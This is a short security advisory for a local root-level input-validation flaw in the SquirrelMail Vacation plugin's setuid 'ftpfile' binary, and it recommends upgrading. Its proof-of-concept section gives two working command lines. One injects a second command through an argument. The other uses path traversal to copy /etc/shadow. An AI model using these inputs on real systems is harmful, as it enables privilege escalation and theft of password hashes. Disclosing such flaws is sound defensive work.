SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

BID:12222

Info

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

Bugtraq ID: 12222
Class: Input Validation Error
CVE:
Remote: No
Local: Yes
Published: Jan 11 2005 12:00AM
Updated: Jan 11 2005 12:00AM
Credit: Discovery is credited to Leon Juranic.
Vulnerable: SquirrelMail SquirrelMail Vacation Plugin 0.15 -1.43a
SquirrelMail SquirrelMail Vacation Plugin 0.14 -1.2rc2
Not Vulnerable:

Discussion

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

The SquirrelMail Vacation plugin is prone to an input validation vulnerability. This issue exists in the 'ftpfile' binary, which is installed with setuid root privileges.

It is reported that 'ftpfile' may allow local attackers to execute commands or read files with superuser privileges.

Exploit / POC

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

The following examples were provided:

(command execution)
ftpfile 0 root 0 get 0 "LSS-Security;id"

(file disclosure)
ftpfile localhost root root get ../../../../etc/shadow ./shadow

Solution / Fix

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

Solution:
The SquirrelMail Project Team has released an upgrade for the affected plug-in that deals with this issue. users are strongly advised to upgrade.


SquirrelMail SquirrelMail Vacation Plugin 0.14 -1.2rc2

SquirrelMail SquirrelMail Vacation Plugin 0.15 -1.43a

References

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

References:
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